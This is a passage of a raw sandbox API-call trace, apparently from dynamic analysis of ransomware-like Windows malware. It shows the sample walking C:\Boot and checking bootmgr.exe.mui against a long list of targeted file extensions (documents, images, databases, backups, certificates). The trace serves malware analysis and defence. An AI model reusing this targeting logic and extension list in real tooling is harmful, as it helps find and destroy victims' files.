0x5a2db8 [0060.970] FindNextFileW (in: hFindFile=0x5a2db8, lpFindFileData=0x33ef808 | out: lpFindFileData=0x33ef808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.970] FindNextFileW (in: hFindFile=0x5a2db8, lpFindFileData=0x33ef808 | out: lpFindFileData=0x33ef808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0060.970] FindClose (in: hFindFile=0x5a2db8 | out: hFindFile=0x5a2db8) returned 1 [0060.971] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x39106d0 | out: hHeap=0x4b0000) returned 1 [0060.971] FindNextFileW (in: hFindFile=0x5a1d70, lpFindFileData=0x33efa84 | out: lpFindFileData=0x33efa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0060.971] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x39106d0 [0060.971] FindFirstFileW (in: lpFileName="C:\\Boot\\tr-TR\\*", lpFindFileData=0x33ef808 | out: lpFindFileData=0x33ef808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a6f78 [0062.123] FindNextFileW (in: hFindFile=0x5a6f78, lpFindFileData=0x33ef808 | out: lpFindFileData=0x33ef808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0062.123] FindNextFileW (in: hFindFile=0x5a6f78, lpFindFileData=0x33ef808 | out: lpFindFileData=0x33ef808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0062.123] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0062.123] lstrlenW (lpString=".3ds") returned 4 [0062.123] lstrcmpiW (lpString1=".3ds", lpString2=".mui") returned -1 [0062.123] lstrlenW (lpString=".3fr") returned 4 [0062.123] lstrcmpiW (lpString1=".3fr", lpString2=".mui") returned -1 [0062.123] lstrlenW (lpString=".3g2") returned 4 [0062.123] lstrcmpiW (lpString1=".3g2", lpString2=".mui") returned -1 [0062.123] lstrlenW (lpString=".3gp") returned 4 [0062.124] lstrcmpiW (lpString1=".3gp", lpString2=".mui") returned -1 [0062.124] lstrlenW (lpString=".7z") returned 3 [0062.124] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0062.124] lstrlenW (lpString=".accda") returned 6 [0062.124] lstrcmpiW (lpString1=".accda", lpString2="xe.mui") returned -1 [0062.124] lstrlenW (lpString=".accdb") returned 6 [0062.124] lstrcmpiW (lpString1=".accdb", lpString2="xe.mui") returned -1 [0062.124] lstrlenW (lpString=".accdc") returned 6 [0062.124] lstrcmpiW (lpString1=".accdc", lpString2="xe.mui") returned -1 [0062.124] lstrlenW (lpString=".accde") returned 6 [0062.124] lstrcmpiW (lpString1=".accde", lpString2="xe.mui") returned -1 [0062.124] lstrlenW (lpString=".accdt") returned 6 [0062.124] lstrcmpiW (lpString1=".accdt", lpString2="xe.mui") returned -1 [0062.124] lstrlenW (lpString=".accdw") returned 6 [0062.124] lstrcmpiW (lpString1=".accdw", lpString2="xe.mui") returned -1 [0062.124] lstrlenW (lpString=".adb") returned 4 [0062.124] lstrcmpiW (lpString1=".adb", lpString2=".mui") returned -1 [0062.124] lstrlenW (lpString=".adp") returned 4 [0062.124] lstrcmpiW (lpString1=".adp", lpString2=".mui") returned -1 [0062.124] lstrlenW (lpString=".ai") returned 3 [0062.124] lstrcmpiW (lpString1=".ai", lpString2="mui") returned -1 [0062.124] lstrlenW (lpString=".ai3") returned 4 [0062.124] lstrcmpiW (lpString1=".ai3", lpString2=".mui") returned -1 [0062.124] lstrlenW (lpString=".ai4") returned 4 [0062.124] lstrcmpiW (lpString1=".ai4", lpString2=".mui") returned -1 [0062.124] lstrlenW (lpString=".ai5") returned 4 [0062.124] lstrcmpiW (lpString1=".ai5", lpString2=".mui") returned -1 [0062.124] lstrlenW (lpString=".ai6") returned 4 [0062.124] lstrcmpiW (lpString1=".ai6", lpString2=".mui") returned -1 [0062.124] lstrlenW (lpString=".ai7") returned 4 [0062.125] lstrcmpiW (lpString1=".ai7", lpString2=".mui") returned -1 [0062.125] lstrlenW (lpString=".ai8") returned 4 [0062.125] lstrcmpiW (lpString1=".ai8", lpString2=".mui") returned -1 [0062.125] lstrlenW (lpString=".anim") returned 5 [0062.125] lstrcmpiW (lpString1=".anim", lpString2="e.mui") returned -1 [0062.125] lstrlenW (lpString=".arw") returned 4 [0062.125] lstrcmpiW (lpString1=".arw", lpString2=".mui") returned -1 [0062.125] lstrlenW (lpString=".as") returned 3 [0062.125] lstrcmpiW (lpString1=".as", lpString2="mui") returned -1 [0062.125] lstrlenW (lpString=".asa") returned 4 [0062.125] lstrcmpiW (lpString1=".asa", lpString2=".mui") returned -1 [0062.125] lstrlenW (lpString=".asc") returned 4 [0062.125] lstrcmpiW (lpString1=".asc", lpString2=".mui") returned -1 [0062.125] lstrlenW (lpString=".ascx") returned 5 [0062.125] lstrcmpiW (lpString1=".ascx", lpString2="e.mui") returned -1 [0062.125] lstrlenW (lpString=".asm") returned 4 [0062.125] lstrcmpiW (lpString1=".asm", lpString2=".mui") returned -1 [0062.125] lstrlenW (lpString=".asmx") returned 5 [0062.125] lstrcmpiW (lpString1=".asmx", lpString2="e.mui") returned -1 [0062.125] lstrlenW (lpString=".asp") returned 4 [0062.125] lstrcmpiW (lpString1=".asp", lpString2=".mui") returned -1 [0062.125] lstrlenW (lpString=".aspx") returned 5 [0062.125] lstrcmpiW (lpString1=".aspx", lpString2="e.mui") returned -1 [0062.125] lstrlenW (lpString=".asr") returned 4 [0062.125] lstrcmpiW (lpString1=".asr", lpString2=".mui") returned -1 [0062.125] lstrlenW (lpString=".asx") returned 4 [0062.125] lstrcmpiW (lpString1=".asx", lpString2=".mui") returned -1 [0062.125] lstrlenW (lpString=".avi") returned 4 [0062.125] lstrcmpiW (lpString1=".avi", lpString2=".mui") returned -1 [0062.126] lstrlenW (lpString=".avs") returned 4 [0062.126] lstrcmpiW (lpString1=".avs", lpString2=".mui") returned -1 [0062.126] lstrlenW (lpString=".backup") returned 7 [0062.126] lstrcmpiW (lpString1=".backup", lpString2="exe.mui") returned -1 [0062.126] lstrlenW (lpString=".bak") returned 4 [0062.126] lstrcmpiW (lpString1=".bak", lpString2=".mui") returned -1 [0062.126] lstrlenW (lpString=".bay") returned 4 [0062.126] lstrcmpiW (lpString1=".bay", lpString2=".mui") returned -1 [0062.126] lstrlenW (lpString=".bd") returned 3 [0062.126] lstrcmpiW (lpString1=".bd", lpString2="mui") returned -1 [0062.126] lstrlenW (lpString=".bin") returned 4 [0062.126] lstrcmpiW (lpString1=".bin", lpString2=".mui") returned -1 [0062.126] lstrlenW (lpString=".bmp") returned 4 [0062.126] lstrcmpiW (lpString1=".bmp", lpString2=".mui") returned -1 [0062.126] lstrlenW (lpString=".bz2") returned 4 [0062.126] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0062.126] lstrlenW (lpString=".c") returned 2 [0062.126] lstrcmpiW (lpString1=".c", lpString2="ui") returned -1 [0062.126] lstrlenW (lpString=".cdr") returned 4 [0062.126] lstrcmpiW (lpString1=".cdr", lpString2=".mui") returned -1 [0062.126] lstrlenW (lpString=".cer") returned 4 [0062.126] lstrcmpiW (lpString1=".cer", lpString2=".mui") returned -1 [0062.126] lstrlenW (lpString=".cf") returned 3 [0062.126] lstrcmpiW (lpString1=".cf", lpString2="mui") returned -1 [0062.126] lstrlenW (lpString=".cfc") returned 4 [0062.126] lstrcmpiW (lpString1=".cfc", lpString2=".mui") returned -1 [0062.126] lstrlenW (lpString=".cfm") returned 4 [0062.126] lstrcmpiW (lpString1=".cfm", lpString2=".mui") returned -1 [0062.126] lstrlenW (lpString=".cfml") returned 5 [0062.127] lstrcmpiW (lpString1=".cfml", lpString2="e.mui") returned -1 [0062.127] lstrlenW (lpString=".cfu") returned 4 [0062.127] lstrcmpiW (lpString1=".cfu", lpString2=".mui") returned -1 [0062.127] lstrlenW (lpString=".chm") returned 4 [0062.127] lstrcmpiW (lpString1=".chm", lpString2=".mui") returned -1 [0062.127] lstrlenW (lpString=".cin") returned 4 [0062.127] lstrcmpiW (lpString1=".cin", lpString2=".mui") returned -1 [0062.127] lstrlenW (lpString=".class") returned 6 [0062.127] lstrcmpiW (lpString1=".class", lpString2="xe.mui") returned -1 [0062.127] lstrlenW (lpString=".clx") returned 4 [0062.127] lstrcmpiW (lpString1=".clx", lpString2=".mui") returned -1 [0062.127] lstrlenW (lpString=".config") returned 7 [0062.127] lstrcmpiW (lpString1=".config", lpString2="exe.mui") returned -1 [0062.127] lstrlenW (lpString=".cpp") returned 4 [0062.127] lstrcmpiW (lpString1=".cpp", lpString2=".mui") returned -1 [0062.127] lstrlenW (lpString=".cr2") returned 4 [0062.127] lstrcmpiW (lpString1=".cr2", lpString2=".mui") returned -1 [0062.127] lstrlenW (lpString=".crt") returned 4 [0062.127] lstrcmpiW (lpString1=".crt", lpString2=".mui") returned -1 [0062.127] lstrlenW (lpString=".crw") returned 4 [0062.127] lstrcmpiW (lpString1=".crw", lpString2=".mui") returned -1 [0062.127] lstrlenW (lpString=".cs") returned 3 [0062.127] lstrcmpiW (lpString1=".cs", lpString2="mui") returned -1 [0062.127] lstrlenW (lpString=".css") returned 4 [0062.127] lstrcmpiW (lpString1=".css", lpString2=".mui") returned -1 [0062.127] lstrlenW (lpString=".csv") returned 4 [0062.127] lstrcmpiW (lpString1=".csv", lpString2=".mui") returned -1 [0062.127] lstrlenW (lpString=".cub") returned 4 [0062.127] lstrcmpiW (lpString1=".cub", lpString2=".mui") returned -1 [0062.128] lstrlenW (lpString=".dae") returned 4 [0062.128] lstrcmpiW (lpString1=".dae", lpString2=".mui") returned -1 [0062.128] lstrlenW (lpString=".dat") returned 4 [0062.128] lstrcmpiW (lpString1=".dat", lpString2=".mui") returned -1 [0062.128] lstrlenW (lpString=".db") returned 3 [0062.128] lstrcmpiW (lpString1=".db", lpString2="mui") returned -1 [0062.128] lstrlenW (lpString=".dbf") returned 4 [0062.128] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0062.128] lstrlenW (lpString=".dbx") returned 4 [0062.128] lstrcmpiW (lpString1=".dbx", lpString2=".mui") returned -1 [0062.128] lstrlenW (lpString=".dc3") returned 4 [0062.128] lstrcmpiW (lpString1=".dc3", lpString2=".mui") returned -1 [0062.128] lstrlenW (lpString=".dcm") returned 4 [0062.128] lstrcmpiW (lpString1=".dcm", lpString2=".mui") returned -1 [0062.128] lstrlenW (lpString=".dcr") returned 4 [0062.128] lstrcmpiW (lpString1=".dcr", lpString2=".mui") returned -1 [0062.128] lstrlenW (lpString=".der") returned 4 [0062.128] lstrcmpiW (lpString1=".der", lpString2=".mui") returned -1 [0062.128] lstrlenW (lpString=".dib") returned 4 [0062.128] lstrcmpiW (lpString1=".dib", lpString2=".mui") returned -1 [0062.128] lstrlenW (lpString=".dic") returned 4 [0062.128] lstrcmpiW (lpString1=".dic", lpString2=".mui") returned -1 [0062.128] lstrlenW (lpString=".dif") returned 4 [0062.128] lstrcmpiW (lpString1=".dif", lpString2=".mui") returned -1 [0062.128] lstrlenW (lpString=".divx") returned 5 [0062.128] lstrcmpiW (lpString1=".divx", lpString2="e.mui") returned -1 [0062.128] lstrlenW (lpString=".djvu") returned 5 [0062.128] lstrcmpiW (lpString1=".djvu", lpString2="e.mui") returned -1 [0062.128] lstrlenW (lpString=".dng") returned 4 [0062.128] lstrcmpiW (lpString1=".dng", lpString2=".mui") returned -1 [0062.129] lstrlenW (lpString=".doc") returned 4 [0062.129] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0062.129] lstrlenW (lpString=".docm") returned 5 [0062.129] lstrcmpiW (lpString1=".docm", lpString2="e.mui") returned -1 [0062.129] lstrlenW (lpString=".docx") returned 5 [0062.129] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0062.129] lstrlenW (lpString=".dot") returned 4 [0062.129] lstrcmpiW (lpString1=".dot", lpString2=".mui") returned -1 [0062.129] lstrlenW (lpString=".dotm") returned 5 [0062.129] lstrcmpiW (lpString1=".dotm", lpString2="e.mui") returned -1 [0062.129] lstrlenW (lpString=".dotx") returned 5 [0062.129] lstrcmpiW (lpString1=".dotx", lpString2="e.mui") returned -1 [0062.129] lstrlenW (lpString=".dpx") returned 4 [0062.129] lstrcmpiW (lpString1=".dpx", lpString2=".mui") returned -1 [0062.129] lstrlenW (lpString=".dqy") returned 4 [0062.129] lstrcmpiW (lpString1=".dqy", lpString2=".mui") returned -1 [0062.129] lstrlenW (lpString=".dsn") returned 4 [0062.129] lstrcmpiW (lpString1=".dsn", lpString2=".mui") returned -1 [0062.129] lstrlenW (lpString=".dt") returned 3 [0062.129] lstrcmpiW (lpString1=".dt", lpString2="mui") returned -1 [0062.129] lstrlenW (lpString=".dtd") returned 4 [0062.129] lstrcmpiW (lpString1=".dtd", lpString2=".mui") returned -1 [0062.129] lstrlenW (lpString=".dwg") returned 4 [0062.129] lstrcmpiW (lpString1=".dwg", lpString2=".mui") returned -1 [0062.129] lstrlenW (lpString=".dwt") returned 4 [0062.129] lstrcmpiW (lpString1=".dwt", lpString2=".mui") returned -1 [0062.129] lstrlenW (lpString=".dx") returned 3 [0062.129] lstrcmpiW (lpString1=".dx", lpString2="mui") returned -1 [0062.129] lstrlenW (lpString=".dxf") returned 4 [0062.130] lstrcmpiW (lpString1=".dxf", lpString2=".mui") returned -1 [0062.130] lstrlenW (lpString=".edml") returned 5 [0062.130] lstrcmpiW (lpString1=".edml", lpString2="e.mui") returned -1 [0062.130] lstrlenW (lpString=".efd") returned 4 [0062.130] lstrcmpiW (lpString1=".efd", lpString2=".mui") returned -1 [0062.130] lstrlenW (lpString=".elf") returned 4 [0062.130] lstrcmpiW (lpString1=".elf", lpString2=".mui") returned -1 [0062.130] lstrlenW (lpString=".emf") returned 4 [0062.130] lstrcmpiW (lpString1=".emf", lpString2=".mui") returned -1 [0062.130] lstrlenW (lpString=".emz") returned 4 [0062.130] lstrcmpiW (lpString1=".emz", lpString2=".mui") returned -1 [0062.130] lstrlenW (lpString=".epf") returned 4 [0062.130] lstrcmpiW (lpString1=".epf", lpString2=".mui") returned -1 [0062.130] lstrlenW (lpString=".eps") returned 4 [0062.130] lstrcmpiW (lpString1=".eps", lpString2=".mui") returned -1 [0062.130] lstrlenW (lpString=".epsf") returned 5 [0062.130] lstrcmpiW (lpString1=".epsf", lpString2="e.mui") returned -1 [0062.130] lstrlenW (lpString=".epsp") returned 5 [0062.130] lstrcmpiW (lpString1=".epsp", lpString2="e.mui") returned -1 [0062.130] lstrlenW (lpString=".erf") returned 4 [0062.130] lstrcmpiW (lpString1=".erf", lpString2=".mui") returned -1 [0062.130] lstrlenW (lpString=".exr") returned 4 [0062.130] lstrcmpiW (lpString1=".exr", lpString2=".mui") returned -1 [0062.130] lstrlenW (lpString=".f4v") returned 4 [0062.130] lstrcmpiW (lpString1=".f4v", lpString2=".mui") returned -1 [0062.130] lstrlenW (lpString=".fido") returned 5 [0062.130] lstrcmpiW (lpString1=".fido", lpString2="e.mui") returned -1 [0062.130] lstrlenW (lpString=".flm") returned 4 [0062.130] lstrcmpiW (lpString1=".flm", lpString2=".mui") returned -1 [0062.131] lstrlenW (lpString=".flv") returned 4 [0062.131] lstrcmpiW (lpString1=".flv", lpString2=".mui") returned -1 [0062.131] lstrlenW (lpString=".frm") returned 4 [0062.131] lstrcmpiW (lpString1=".frm", lpString2=".mui") returned -1 [0062.131] lstrlenW (lpString=".fxg") returned 4 [0062.131] lstrcmpiW (lpString1=".fxg", lpString2=".mui") returned -1 [0062.132] lstrlenW (lpString=".geo") returned 4 [0062.132] lstrcmpiW (lpString1=".geo", lpString2=".mui") returned -1 [0062.132] lstrlenW (lpString=".gif") returned 4 [0062.132] lstrcmpiW (lpString1=".gif", lpString2=".mui") returned -1 [0062.132] lstrlenW (lpString=".grs") returned 4 [0062.132] lstrcmpiW (lpString1=".grs", lpString2=".mui") returned -1 [0062.132] lstrlenW (lpString=".gz") returned 3 [0062.132] lstrcmpiW (lpString1=".gz", lpString2="mui") returned -1 [0062.132] lstrlenW (lpString=".h") returned 2 [0062.132] lstrcmpiW (lpString1=".h", lpString2="ui") returned -1 [0062.132] lstrlenW (lpString=".hdr") returned 4 [0062.132] lstrcmpiW (lpString1=".hdr", lpString2=".mui") returned -1 [0062.132] lstrlenW (lpString=".hpp") returned 4 [0062.132] lstrcmpiW (lpString1=".hpp", lpString2=".mui") returned -1 [0062.132] lstrlenW (lpString=".hta") returned 4 [0062.132] lstrcmpiW (lpString1=".hta", lpString2=".mui") returned -1 [0062.132] lstrlenW (lpString=".htc") returned 4 [0062.132] lstrcmpiW (lpString1=".htc", lpString2=".mui") returned -1 [0062.133] lstrlenW (lpString=".htm") returned 4 [0062.133] lstrcmpiW (lpString1=".htm", lpString2=".mui") returned -1 [0062.133] lstrlenW (lpString=".html") returned 5 [0062.133] lstrcmpiW (lpString1=".html", lpString2="e.mui") returned -1 [0062.133] lstrlenW (lpString=".icb") returned 4 [0062.133] lstrcmpiW (lpString1=".icb", lpString2=".mui") returned -1 [0062.133] lstrlenW (lpString=".ics") returned 4 [0062.133] lstrcmpiW (lpString1=".ics", lpString2=".mui") returned -1 [0062.133] lstrlenW (lpString=".iff") returned 4 [0062.133] lstrcmpiW (lpString1=".iff", lpString2=".mui") returned -1 [0062.133] lstrlenW (lpString=".inc") returned 4 [0062.133] lstrcmpiW (lpString1=".inc", lpString2=".mui") returned -1 [0062.133] lstrlenW (lpString=".indd") returned 5 [0062.133] lstrcmpiW (lpString1=".indd", lpString2="e.mui") returned -1 [0062.133] lstrlenW (lpString=".ini") returned 4 [0062.133] lstrcmpiW (lpString1=".ini", lpString2=".mui") returned -1 [0062.133] lstrlenW (lpString=".iqy") returned 4 [0062.133] lstrcmpiW (lpString1=".iqy", lpString2=".mui") returned -1 [0062.133] lstrlenW (lpString=".j2c") returned 4 [0062.133] lstrcmpiW (lpString1=".j2c", lpString2=".mui") returned -1 [0062.133] lstrlenW (lpString=".j2k") returned 4 [0062.133] lstrcmpiW (lpString1=".j2k", lpString2=".mui") returned -1 [0062.133] lstrlenW (lpString=".java") returned 5 [0062.133] lstrcmpiW (lpString1=".java", lpString2="e.mui") returned -1 [0062.133] lstrlenW (lpString=".jp2") returned 4 [0062.133] lstrcmpiW (lpString1=".jp2", lpString2=".mui") returned -1 [0062.133] lstrlenW (lpString=".jpc") returned 4 [0062.133] lstrcmpiW (lpString1=".jpc", lpString2=".mui") returned -1 [0062.133] lstrlenW (lpString=".jpe") returned 4 [0062.133] lstrcmpiW (lpString1=".jpe", lpString2=".mui") returned -1 [0062.134] lstrlenW (lpString=".jpeg") returned 5 [0062.134] lstrcmpiW (lpString1=".jpeg", lpString2="e.mui") returned -1 [0062.134] lstrlenW (lpString=".jpf") returned 4 [0062.134] lstrcmpiW (lpString1=".jpf", lpString2=".mui") returned -1 [0062.134] lstrlenW (lpString=".jpg") returned 4 [0062.134] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0062.134] lstrlenW (lpString=".jpx") returned 4 [0062.134] lstrcmpiW (lpString1=".jpx", lpString2=".mui") returned -1 [0062.134] lstrlenW (lpString=".js") returned 3 [0062.134] lstrcmpiW (lpString1=".js", lpString2="mui") returned -1 [0062.134] lstrlenW (lpString=".jsf") returned 4 [0062.134] lstrcmpiW (lpString1=".jsf", lpString2=".mui") returned -1 [0062.134] lstrlenW (lpString=".json") returned 5 [0062.134] lstrcmpiW (lpString1=".json", lpString2="e.mui") returned -1 [0062.134] lstrlenW (lpString=".jsp") returned 4 [0062.134] lstrcmpiW (lpString1=".jsp", lpString2=".mui") returned -1 [0062.134] lstrlenW (lpString=".kdc") returned 4 [0062.134] lstrcmpiW (lpString1=".kdc", lpString2=".mui") returned -1 [0062.134] lstrlenW (lpString=".kmz") returned 4 [0062.134] lstrcmpiW (lpString1=".kmz", lpString2=".mui") returned -1 [0062.134] lstrlenW (lpString=".kwm") returned 4 [0062.134] lstrcmpiW (lpString1=".kwm", lpString2=".mui") returned -1 [0062.134] lstrlenW (lpString=".lasso") returned 6 [0062.134] lstrcmpiW (lpString1=".lasso", lpString2="xe.mui") returned -1 [0062.134] lstrlenW (lpString=".lbi") returned 4 [0062.134] lstrcmpiW (lpString1=".lbi", lpString2=".mui") returned -1 [0062.134] lstrlenW (lpString=".lgf") returned 4 [0062.134] lstrcmpiW (lpString1=".lgf", lpString2=".mui") returned -1 [0062.134] lstrlenW (lpString=".lgp") returned 4 [0062.134] lstrcmpiW (lpString1=".lgp", lpString2=".mui") returned -1 [0062.135] lstrlenW (lpString=".log") returned 4 [0062.135] lstrcmpiW (lpString1=".log", lpString2=".mui") returned -1 [0062.135] lstrlenW (lpString=".m1v") returned 4 [0062.135] lstrcmpiW (lpString1=".m1v", lpString2=".mui") returned -1 [0062.135] lstrlenW (lpString=".m4a") returned 4 [0062.135] lstrcmpiW (lpString1=".m4a", lpString2=".mui") returned -1 [0062.135] lstrlenW (lpString=".m4v") returned 4 [0062.135] lstrcmpiW (lpString1=".m4v", lpString2=".mui") returned -1 [0062.135] lstrlenW (lpString=".max") returned 4 [0062.135] lstrcmpiW (lpString1=".max", lpString2=".mui") returned -1 [0062.135] lstrlenW (lpString=".md") returned 3 [0062.135] lstrcmpiW (lpString1=".md", lpString2="mui") returned -1 [0062.135] lstrlenW (lpString=".mda") returned 4 [0062.135] lstrcmpiW (lpString1=".mda", lpString2=".mui") returned -1 [0062.135] lstrlenW (lpString=".mdb") returned 4 [0062.135] lstrcmpiW (lpString1=".mdb", lpString2=".mui") returned -1 [0062.135] lstrlenW (lpString=".mde") returned 4 [0062.135] lstrcmpiW (lpString1=".mde", lpString2=".mui") returned -1 [0062.135] lstrlenW (lpString=".mdf") returned 4 [0062.135] lstrcmpiW (lpString1=".mdf", lpString2=".mui") returned -1 [0062.135] lstrlenW (lpString=".mdw") returned 4 [0062.135] lstrcmpiW (lpString1=".mdw", lpString2=".mui") returned -1 [0062.135] lstrlenW (lpString=".mef") returned 4 [0062.135] lstrcmpiW (lpString1=".mef", lpString2=".mui") returned -1 [0062.135] lstrlenW (lpString=".mft") returned 4 [0062.135] lstrcmpiW (lpString1=".mft", lpString2=".mui") returned -1 [0062.135] lstrlenW (lpString=".mfw") returned 4 [0062.135] lstrcmpiW (lpString1=".mfw", lpString2=".mui") returned -1 [0062.136] lstrlenW (lpString=".mht") returned 4 [0062.136] lstrcmpiW (lpString1=".mht", lpString2=".mui") returned -1 [0062.136] lstrlenW (lpString=".mhtml") returned 6 [0062.136] lstrcmpiW (lpString1=".mhtml", lpString2="xe.mui") returned -1 [0062.136] lstrlenW (lpString=".mka") returned 4 [0062.136] lstrcmpiW (lpString1=".mka", lpString2=".mui") returned -1 [0062.136] lstrlenW (lpString=".mkidx") returned 6 [0062.136] lstrcmpiW (lpString1=".mkidx", lpString2="xe.mui") returned -1 [0062.136] lstrlenW (lpString=".mkv") returned 4 [0062.136] lstrcmpiW (lpString1=".mkv", lpString2=".mui") returned -1 [0062.136] lstrlenW (lpString=".mos") returned 4 [0062.136] lstrcmpiW (lpString1=".mos", lpString2=".mui") returned -1 [0062.136] lstrlenW (lpString=".mov") returned 4 [0062.136] lstrcmpiW (lpString1=".mov", lpString2=".mui") returned -1 [0062.136] lstrlenW (lpString=".mp3") returned 4 [0062.136] lstrcmpiW (lpString1=".mp3", lpString2=".mui") returned -1 [0062.136] lstrlenW (lpString=".mp4") returned 4 [0062.136] lstrcmpiW (lpString1=".mp4", lpString2=".mui") returned -1 [0062.136] lstrlenW (lpString=".mpeg") returned 5 [0062.136] lstrcmpiW (lpString1=".mpeg", lpString2="e.mui") returned -1 [0062.136] lstrlenW (lpString=".mpg") returned 4 [0062.136] lstrcmpiW (lpString1=".mpg", lpString2=".mui") returned -1 [0062.136] lstrlenW (lpString=".mpv") returned 4 [0062.136] lstrcmpiW (lpString1=".mpv", lpString2=".mui") returned -1 [0062.136] lstrlenW (lpString=".mrw") returned 4 [0062.136] lstrcmpiW (lpString1=".mrw", lpString2=".mui") returned -1 [0062.136] lstrlenW (lpString=".msg") returned 4 [0062.136] lstrcmpiW (lpString1=".msg", lpString2=".mui") returned -1 [0062.136] lstrlenW (lpString=".mxl") returned 4 [0062.136] lstrcmpiW (lpString1=".mxl", lpString2=".mui") returned 1 [0062.137] lstrlenW (lpString=".myd") returned 4 [0062.137] lstrcmpiW (lpString1=".myd", lpString2=".mui") returned 1 [0062.137] lstrlenW (lpString=".myi") returned 4 [0062.137] lstrcmpiW (lpString1=".myi", lpString2=".mui") returned 1 [0062.137] lstrlenW (lpString=".nef") returned 4 [0062.137] lstrcmpiW (lpString1=".nef", lpString2=".mui") returned 1 [0062.137] lstrlenW (lpString=".nrw") returned 4 [0062.137] lstrcmpiW (lpString1=".nrw", lpString2=".mui") returned 1 [0062.137] lstrlenW (lpString=".obj") returned 4 [0062.137] lstrcmpiW (lpString1=".obj", lpString2=".mui") returned 1 [0062.137] lstrlenW (lpString=".odb") returned 4 [0062.137] lstrcmpiW (lpString1=".odb", lpString2=".mui") returned 1 [0062.137] lstrlenW (lpString=".odc") returned 4 [0062.137] lstrcmpiW (lpString1=".odc", lpString2=".mui") returned 1 [0062.137] lstrlenW (lpString=".odm") returned 4 [0062.137] lstrcmpiW (lpString1=".odm", lpString2=".mui") returned 1 [0062.137] lstrlenW (lpString=".odp") returned 4 [0062.137] lstrcmpiW (lpString1=".odp", lpString2=".mui") returned 1 [0062.137] lstrlenW (lpString=".ods") returned 4 [0062.137] lstrcmpiW (lpString1=".ods", lpString2=".mui") returned 1 [0062.137] lstrlenW (lpString=".oft") returned 4 [0062.137] lstrcmpiW (lpString1=".oft", lpString2=".mui") returned 1 [0062.137] lstrlenW (lpString=".one") returned 4 [0062.137] lstrcmpiW (lpString1=".one", lpString2=".mui") returned 1 [0062.137] lstrlenW (lpString=".onepkg") returned 7 [0062.137] lstrcmpiW (lpString1=".onepkg", lpString2="exe.mui") returned -1 [0062.137] lstrlenW (lpString=".onetoc2") returned 8 [0062.137] lstrcmpiW (lpString1=".onetoc2", lpString2=".exe.mui") returned 1 [0062.137] lstrlenW (lpString=".opt") returned 4 [0062.137] lstrcmpiW (lpString1=".opt", lpString2=".mui") returned 1 [0062.138] lstrlenW (lpString=".oqy") returned 4 [0062.138] lstrcmpiW (lpString1=".oqy", lpString2=".mui") returned 1 [0062.138] lstrlenW (lpString=".orf") returned 4 [0062.138] lstrcmpiW (lpString1=".orf", lpString2=".mui") returned 1 [0062.138] lstrlenW (lpString=".p12") returned 4 [0062.138] lstrcmpiW (lpString1=".p12", lpString2=".mui") returned 1 [0062.138] lstrlenW (lpString=".p7b") returned 4 [0062.138] lstrcmpiW (lpString1=".p7b", lpString2=".mui") returned 1 [0062.138] lstrlenW (lpString=".p7c") returned 4 [0062.138] lstrcmpiW (lpString1=".p7c", lpString2=".mui") returned 1 [0062.138] lstrlenW (lpString=".pam") returned 4 [0062.138] lstrcmpiW (lpString1=".pam", lpString2=".mui") returned 